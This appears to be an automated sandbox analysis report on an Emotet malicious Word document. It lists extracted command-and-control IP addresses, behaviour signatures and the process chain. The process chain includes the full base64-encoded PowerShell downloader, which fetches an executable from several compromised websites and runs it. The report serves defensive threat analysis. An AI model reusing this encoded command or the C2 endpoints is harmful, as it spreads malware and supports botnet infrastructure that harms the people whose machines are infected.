Analysis
- max time kernel
136s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
15/10/2020, 12:15
General
- Target emotet_e1_2e2dfc4ee174155fe2acf49b0685979e5177f332a89a0e87ffb4f5eea7367386_2020-10-15__121411163192._doc.doc
- Size 136KB
- Sample201015-9fx3k78ycn
- SHA256 2e2dfc4ee174155fe2acf49b0685979e5177f332a89a0e87ffb4f5eea7367386
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch1
C2
-
188.157.101.114:80
-
192.175.111.214:8080
-
95.85.33.23:8080
-
192.232.229.54:7080
-
181.30.61.163:443
-
186.70.127.199:8090
-
200.127.14.97:80
-
70.169.17.134:80
-
24.232.228.233:80
-
172.104.169.32:8080
-
50.28.51.143:8080
-
177.73.0.98:443
-
149.202.72.142:7080
-
37.187.161.206:8080
-
202.29.239.162:443
-
213.197.182.158:8080
-
202.134.4.210:7080
-
190.24.243.186:80
-
201.213.177.139:80
-
105.209.235.113:8080
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2e2dfc4ee174155fe2acf49b0685979e5177f332a89a0e87ffb4f5eea7367386_2020-10-15__121411163192._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGADUAaQBiAHcAMABjAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADAAZwBlACcAKQArACcAYQBnACcAKQA7ACQAQgA2ADMAOQB1AHYAawA9ACQASgBmAHoAOAB6AGwAagAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQASABjAG0AMgBzAHUAcgA7ACQAVgBiADEAMgBtAGkAagA9ACgAJwBWADUAJwArACgAJwA3ACcAKwAnADUAMgA1ACcAKQArACcAeAAnACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAHIAZQBhAHQARQBkAEkAYABSAEUAYwBgAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHQAbQBwACAAKwAgACgAKAAnAG8AJwArACgAJwBkAGgASQAnACsAJwA4ACcAKQArACcAeQB1ACcAKwAnAHkAJwArACgAJwAxAF8AJwArACcAbwBkAGgAJwArACcASwAnACkAKwAoACcAXwAxACcAKwAnAHIAeQB1AGIAbwAnACkAKwAnAGQAJwArACcAaAAnACkAIAAgAC0AUgBFAHAATABhAEMAZQAgACgAJwBvAGQAJwArACcAaAAnACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABWAGMAZQB0ADcAZQBiAD0AKAAoACcATwBuACcAKwAnADIAdAB3ACcAKQArACcAbQBtACcAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBpAGAAVABZAFAAUgBPAHQATwBjAG8AbAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdACgAJwBTACcAKwAoACcAcwAnACsAJwBsADMALAAnACkAKwAnAFQAbAAnACsAKAAnAHMALAAnACsAJwBUAGwAJwApACsAKAAnAHMAMQAxACcAKwAnACwAVABsACcAKQArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQASgBzAG0AYwBsAHAAawA9ACgAKAAnAFcAJwArACcAbABkACcAKQArACgAJwA2ACcAKwAnAHEAcQAnACkAKwAnAGUAJwApADsAJABPAGsANQAyADEAaABiACAAPQAgACgAKAAnAEwAOQA4AHAAJwArACcAcAAwACcAKQArACcAdwAnACkAOwAkAEEANQBoAF8AcwAyADMAPQAoACcATQAnACsAJwAyAHEAJwArACgAJwBqAHIAJwArACcAdQBkACcAKQApADsAJABVAGEAeAB1AGIAaABxAD0AKAAnAEcAagAnACsAKAAnAGQAJwArACcAegBwADkAegAnACkAKQA7ACQARgB3AGEAYQA0AG4ANwA9ACQAZQBuAHYAOgB0AG0AcAArACgAKAAoACcAdAAnACsAJwBuAEYAJwApACsAKAAnAEkAJwArACcAOAB5AHUAeQAnACsAJwAxAF8AdAAnACkAKwAoACcAbgAnACsAJwBGAEsAJwApACsAJwBfADEAJwArACgAJwByAHkAJwArACcAdQBiACcAKQArACgAJwB0ACcAKwAnAG4ARgAnACkAKQAgAC0AQwByAEUAcABMAEEAQwBFACgAJwB0AG4AJwArACcARgAnACkALABbAGMAaABBAFIAXQA5ADIAKQArACQATwBrADUAMgAxAGgAYgArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAeQBjAHIAaQBsAHgAPQAoACcATwAnACsAKAAnAHYAJwArACcAbgAxAF8AJwArACcANwBiACcAKQApADsAJABRAG4AMgA5AGQAegB2AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAGUAbgBUADsAJABDAGQAMgA0AGwAcAB6AD0AKAAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAnAGYAJwArACcAaQAnACsAKAAnAG4AYQBuACcAKwAnAGMAaQAnACsAJwBhAG0AJwApACsAKAAnAGUAbgB0AG8AaQBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACcAbAAnACsAJwBpAGcAZQBuAHQAZQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAJwApACsAJwBvAG4AJwArACgAJwB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnAEYAagAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AJwApACsAJwB3AHcAJwArACcAdwAnACsAKAAnAC4AcgAnACsAJwBlACcAKQArACgAJwBtAG8AdgBlAHAAJwArACcAYwB0ACcAKwAnAHIAJwApACsAKAAnAG8AagAnACsAJwBhACcAKQArACgAJwBuAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvACcAKwAnADYAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYQBhACcAKQArACgAJwBoAG4AJwArACcAYQAnACkAKwAoACcAdAAnACsAJwB1AHIAYQBsAHMALgAnACsAJwBuACcAKQArACgAJwBlAHQALwB3AHAALQAnACsAJwBpAG4AJwArACcAYwBsACcAKwAnAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AVABYAC8AJwArACcAKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAHMAZgBmADMAZAAuACcAKwAnAGMAbwBtAC8AMwBkAC8AeABrAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAGUAbgAnACsAJwBnACcAKwAnAGkAbgBlAGUAcgBpAG4AJwApACsAKAAnAGcALQAnACsAJwAyAHMALgBjAG8AbQAvAFMAUwAnACsAJwBfAFAAJwArACcAYQAnACsAJwB5ACcAKQArACgAJwBwACcAKwAnAGEAbAAnACkAKwAoACcALwAnACsAJwBYAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACgAJwA6AC8ALwBsACcAKwAnAHMAbQAnACsAJwBhACcAKQArACgAJwBuAGcAYQAuAGMAJwArACcAbwBtAC8AJwArACcAbQAnACsAJwBpACcAKwAnAGcAcgBhACcAKwAnAHQAaQBvAG4ALwBGAGEAVQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8ALwBiACcAKwAnAGUAdABhACcAKwAnAC4AegBvAG4AJwArACcAZQBiAGUAJwArACcAcgByAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBiAHkAcwB5AHMAdwAnACsAJwBlACcAKwAnAHgAZQAnACkAKwAoACcAYwBmAC8AJwArACcAeAAnACkAKwAnADMAJwArACcALwAnACkALgAiAFMAUABMAGAASQB0ACIAKAAkAFYAdAB4AHAAbABjAHgAIAArACAAJABCADYAMwA5AHUAdgBrACAAKwAgACQASwBjADIAagB5AGMAYwApADsAJABCAGIAbgA0AHMAdwBmAD0AKAAnAEsAJwArACgAJwBzAF8AJwArACcAcQA1ADEAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgAxADAAYQBhADgAOQAgAGkAbgAgACQAQwBkADIANABsAHAAegApAHsAdAByAHkAewAkAFEAbgAyADkAZAB6AHYALgAiAGQATwBgAFcATgBMAGAATwBhAEQARgBJAGwAZQAiACgAJABCADEAMABhAGEAOAA5ACwAIAAkAEYAdwBhAGEANABuADcAKQA7ACQARgBoADYAOABrAGsAZQA9ACgAKAAnAEEAJwArACcAagBkACcAKQArACcAZwAnACsAKAAnAHYAJwArACcAbwByACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAdwBhAGEANABuADcAKQAuACIAbABgAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAA3ADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAQQBgAFIAdAAiACgAJABGAHcAYQBhADQAbgA3ACkAOwAkAFYAeQA5AHMAaQBuAGgAPQAoACcARQAnACsAKAAnAGIANAAnACsAJwBjAGcAJwApACsAJwBfAHkAJwApADsAYgByAGUAYQBrADsAJABKAGEAcQBpAGcAawAyAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGoAdABfADcAJwApACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgAwAGEAYgBoADcAXwA9ACgAKAAnAFEAdAAnACsAJwBkACcAKQArACcAagAnACsAKAAnAGwAJwArACcAMQA1ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tcmsetup\dssec.exe"C:\Windows\SysWOW64\tcmsetup\dssec.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/908-12-0x00000000022A0000-0x00000000022BE000-memory.dmp
memory/908-11-0x0000000002280000-0x000000000229F000-memory.dmp
memory/2224-5-0x00007FFEF5A50000-0x00007FFEF643C000-memory.dmp
memory/2224-6-0x000001827F400000-0x000001827F401000-memory.dmp
memory/2224-7-0x000001827F6D0000-0x000001827F6D1000-memory.dmp
memory/2732-15-0x0000000002020000-0x000000000203F000-memory.dmp
memory/2732-16-0x0000000002060000-0x000000000207E000-memory.dmp
memory/3868-2-0x00000119B12FD000-0x00000119B1302000-memory.dmp
memory/3868-3-0x00000119B12FA000-0x00000119B12FD000-memory.dmp
memory/3868-0-0x00007FFEFD040000-0x00007FFEFD706000-memory.dmp
memory/3868-4-0x00000119B144A000-0x00000119B144C000-memory.dmp
memory/3868-1-0x00000119B12FA000-0x00000119B12FD000-memory.dmp